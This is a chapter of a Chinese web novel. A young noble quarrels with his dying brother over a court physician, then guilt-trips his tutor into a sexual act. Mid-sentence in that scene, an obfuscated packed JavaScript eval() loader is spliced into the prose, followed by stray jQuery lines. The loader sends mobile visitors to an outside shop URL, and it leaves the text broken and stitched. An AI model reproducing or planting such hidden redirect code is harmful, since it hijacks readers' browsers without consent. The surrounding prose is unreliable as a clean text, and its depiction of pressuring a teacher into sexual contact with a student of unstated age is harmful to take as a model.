“我哪天不是准时来的?”虞天念声音低低地嘟囔了一句。
卧榻上的虞天怆懒洋洋地倚着软枕,闻言唇角微勾,“是吗?某人连着两天不见人影,为兄孤枕难眠,只好寻些温柔乡来暖暖心窝了。”
“你还敢提!”虞天念瞬间炸了毛。他最讨厌虞天怆养的那些人了,为此没少和他置气,甚至闹到过爷爷跟前。
可爹娘也好,祖父也罢,心里都清楚,虞天怆命不久矣,既知时日无多,便也由着他去,并不多加约束。
“你这样,迟早要把虞府的脸都丢光!”虞天念双臂环胸,气鼓鼓的。
虞天怆被这话逗得笑出了声,牵动了肺腑,忍不住咳嗽了几声。
虞天念立刻紧张起来,就看见虞天怆抬手勾了勾他的鼻尖,笑意未减:“不知是谁在败坏虞府名声?嗯?某个整日寻欢作乐、却不带为兄同去的小少爷?”
虞天念哼了一声,板着脸还是不高兴,虞天怆只好拉了他的手,放在自己胸口,“来,小念儿帮为兄揉一揉胸口,纾解纾解郁结之气。”
虞天念的脸微不可察地红了起来,虞天怆笑着继续道:“为兄觉得舒服多了,要是再揉几下啊,为兄这病就能好全了。”
“你……”虞天念脸颊微红,别过头去,“你又耍流氓。”
“这叫兄弟亲近。”虞天怆捏了捏他气鼓鼓的脸颊。
虞天念抽回手,扬起下巴道:“哥,我比武得了第一!”
虞天怆嘴角惊喜地上扬,仿佛连这屋子都亮堂了几分,很是欢喜地握住弟弟的手。
“我家念儿真是厉害!”
虞天念嘴角高高翘起,美滋滋的,“而且,我还请来了宫里的太医给你看病!”
虞天怆一愣,“太医?你怎么请的?”
“这你就无需管了,”虞天念沉浸在喜悦中,比划着,“比武时,我唰唰两招就制服了对手,连爷爷都夸我大有长进了!”
虞天怆笑意敛起,目光沉沉地盯着他:“念儿,你老实说,是不是认识了宫里的人?”
虞天念想起蕙懿,犹豫片刻:“算是认识吧。”
虞天怆眼里闪过忧虑,握紧他的手,语气急切:“他有没有为难你?”
虞天念不明所以,回想片刻后摇摇头,“没有啊,殿下人挺好的。”
“殿下?”虞天怆猛地攥紧了手。
虞天念意识到说漏了嘴,连忙补充,“真的没事,我当时帮了殿下一个小忙,殿下说要报答我,我就顺势请她为你请太医了。”
“我不需要,”虞天怆冷了脸,“让那位殿下回去。”
虞天念先是茫然,迅速生气了起来:“我好不容易请来的太医!你知不知道你现在的身体——”
话到嘴边,他硬生生咽了回去,没有把病情的真相告诉虞天怆。看着虞天怆发寒的双眸,他颓然地低下头。
虞天怆意识到自己态度凶了,看着虞天念这幅模样,心里涌起自责。他缓和了声音:“念儿,皇家的势力错综复杂,我不想你被卷入其中,无论与哪位殿下有所牵扯,我都怕你被人利用。”
虞天念抿着唇不说话,虞天怆看得心疼,轻声安抚:“好了,为兄福大命大,今日喝了姜大夫开的药,自觉好了许多,或许过几日就能去练武场陪你过两招呢。”
虞天念抬起头,扯了扯嘴角:“你上次去练武场都是去年的事了。”
“知道念儿得了第一,为兄忽然就想和念儿过招了。”虞天怆笑道。
虞天念勉强勾起嘴角,“那哥哥你好生静养,念儿先回去了。”
离开院子,虞天念立刻收起笑容,他才不管虞天怆说了什么,反正太医来了,他不看也得看。
想到方才虞天怆的模样,虞天念的表情阴沉下来,虞天怆的脸色苍白得惊人,肉眼可见的病气缠身,间或咳嗽得仿佛能咳出血来。
虞天念只觉越发揪心,他打开系统页面,必须尽快攒到10积分。
次日清晨,天光尚有些朦胧,书房内早早地燃着一炉暖香,令慎进了门,神情一如既往的温润沉静。
他刚站定,一道身影便扑到了他面前。
亮晶晶的桃花眼正热切地看着他,虞天念很是迫不及待地说:“先生,天念昨日得了第一!”
令慎的眼中浮现出惊喜,温润的眉眼舒展开来,露出赞许的笑容,欣慰道:“先生知道天念定然可以的。”
虞天念忽然向前一步,此时书房的门窗都已然紧闭,他靠近了令慎,目光沉沉:”那昨日说的奖励,先生可要好好给我。“
令慎一愣,觉得氛围有些奇怪,下意识想要后退,但看着虞天念期待的模样,还是温和问道:”这是自然,天念想要什么奖励?“
虞天念没有回答,牵起令慎垂在身侧的手,令慎手指修长,骨节分明,常年执笔研墨,摸起来温润如玉。
虞天念低下头,指尖轻轻摩挲着令慎的指腹,“先生的手,真是好看。”
一阵酥麻感顺着指尖窜上脊背,让令慎情不自禁想要抽回手,却被虞天念轻而易举地握在手心,力道大得惊人。
“天念,你……”令慎的话还没问完,虞天念坐到了书桌上,脸颊微微泛红:“先生,天念……想让先生帮帮自己。”
令慎呆呆地看着虞天念,只见少年牵着他的手,逐渐探向那隐秘,他猛地意识到什么,瞳孔骤缩,惊叫出声:“不行!”
虞天念没有松手,两人在半空中僵持着。少年的双眸迅速浮现一层水雾,那样可怜又湿漉漉地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244848|197844||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着他,嘴唇被牙齿轻轻咬着,语气里难掩伤心和难过:“先生不是说好了,会给天念奖励吗?”
令慎僵在原地,他是说会给奖励,可绝不是这种啊!
虞天念低下头,肩膀微微颤抖,那模样无论谁看了都惹人怜爱,“先生是不是……也觉得天念很恶心?”
“绝不是!”令慎脱口而出,红了脸,结结巴巴地对自己的学生说:“有……有欲望是很正常的,你如今正是血气方刚的年纪,又是清晨,这……这很正常。”
虞天念抬起头,一双桃花眼深情地注视着令慎,“那先生为什么不愿意帮我?”
令慎只觉得口干舌燥,大脑一片空白:“这……师生间不能做这种事……”
“那先生就教教念儿该怎么做吧。”虞天念垂下眼眸,长长的睫毛遮住了眼底的神色,声音低沉下去,“昨日的比武,念儿想着不能给先生丢脸,比得很是认真,念儿从没有那么想要夺第一。”
“念儿知道念儿读书不成器,只会让先生烦心,想着至少在比武上给先生挣些面子……”
他惨然一笑,自嘲地垂眸:“看来只是念儿的一厢情愿罢了。”
令慎呆在了原地,虞天念那样认真地看进他的双眼,轻启双唇,带着恳求:“先生,便教教念儿这一次,好吗?”
屋内的火炉烧得太旺了,令慎觉得自己好像被架在火上烤,僵硬地由着虞天念牵起自己的手。
手心里的温度是那样滚烫,烫得令慎浑身一颤,想要缩回手,却被虞天念不容置疑地笼在掌心,不容他逃脱。
呼吸声在寂静的书房里越发沉重,交织在一起。虞天念难耐地揪着令慎的前襟,布料在他的手中皱成一团,他低低地、破碎地唤道:“先生……先生……”
最后,虞天念仰起头,脖颈拉出一道优美的弧线,发出一声压抑的呜咽。令慎早已表情空白,被虞天念握着手,直至一切平息。
良久,室内的旖旎气息才缓缓散去。
虞天念回过神,脸颊红得滴血,眼神慌乱地落在令慎手上的那片狼藉。他跳下书桌,手忙脚乱地找出手帕,声音细若蚊蝇:“我……我给先生擦干净。”
令慎却低头避开他的视线,伸手拿过手帕,声音沙哑:“先生自己来便是。”
虞天念仿佛此时才意识到自己干了什么,后知后觉地后怕,像个做错事的孩子般站在原地,垂着头,等着先生责骂。
但令慎只是认真细致地擦干净手,看着那条污了的手帕,张了张嘴,虞天念连忙上前一步拿了过来,结结巴巴地说:“我……我自己洗干净便是,不劳先生费心。”
他红彤彤的脸庞落在令慎眼里,令慎垂着眼不知道在想什么,最后还是没有多说,淡淡道:“上课吧。”